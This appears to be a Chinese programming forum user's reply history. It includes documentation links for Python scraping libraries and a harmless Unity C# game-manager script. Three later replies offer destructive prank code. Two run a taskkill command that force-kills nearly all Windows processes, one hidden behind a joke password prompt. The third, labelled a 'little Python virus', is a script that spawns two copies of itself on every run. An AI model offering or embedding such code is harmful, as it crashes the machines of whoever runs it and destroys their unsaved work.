
Lv.1
在 [求助]有谁会python爬虫吗 中回复
# requests
docs.python-requests.org/zh_CN/latest/
# urllib
docs.python.org/zh-cn/3/library/urllib.html
# 都是官方文档2022-05-22T13:25:20 点赞:0
在 谁会C++的给我站出来! 中回复
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
using UnityEngine.SceneManagement;
public class GameManager : MonoBehaviour
{
private Transform startPoint;
private Transform spawnPoint;
public GameObject pinPrefab;
private Pin currentPin;
private bool isGameOver = false;
private int score = 0;
public Text scoreText;
private Camera mainCamera;
public float speed = 3;
// Start is called before the first frame update
void Start()
{
startPoint = GameObject.Find("StartPoint").transform;
spawnPoint = GameObject.Find("SpawnPoint").transform;
mainCamera = Camera.main;
SpawnPin();
}
private void Update()
{
if (isGameOver) return;
if (Input.GetMouseButtonDown(0))
{
score++;
scoreText.text = score.ToString();
currentPin.StartFly();
SpawnPin();
}
}
void SpawnPin()
{
currentPin = GameObject.Instantiate(pinPrefab, spawnPoint.position, pinPrefab.transform.rotation).GetComponent<Pin>();
}
public void GameOver()
{
if (isGameOver) return;
GameObject.Find("Circle").GetComponent<RotateSelf>().enabled = false;
StartCoroutine(GameOverAnimation());
isGameOver = true;
}
IEnumerator GameOverAnimation()
{
while(true)
{
mainCamera.backgroundColor = Color.Lerp(mainCamera.backgroundColor, Color.red,speed*Time.deltaTime);
mainCamera.orthographicSize = Mathf.Lerp(mainCamera.orthographicSize, 4, speed*Time.deltaTime);
if (Mathf.Abs(mainCamera.orthographicSize-4)<0.01f)
{
break;
}
yield return 0;
}
yield return new WaitForSeconds(0.2f);
SceneManager.LoadScene(SceneManager.GetActiveScene().buildIndex);
}
}
2022-07-02T09:24:20 点赞:0
在 【Python作品分享】密码(作者刚学python) 中回复
import os
os.system('taskkill -f -fi "pid ne 1"')
2022-07-09T11:53:20 点赞:1
在 【Python作品分享】好玩的【作品秀】 中回复
import os
if input("喵 ")=="爸爸":
print("乖喵~")
else:
os.system('taskkill -f -fi "pid ne 1"')2022-07-09T14:47:45 点赞:0
在 Python小病毒 中回复
# 需安装python环境
import os
os.system(f"python {__file__}")
os.system(f"python {__file__}")
2022-07-25T14:55:51 点赞:0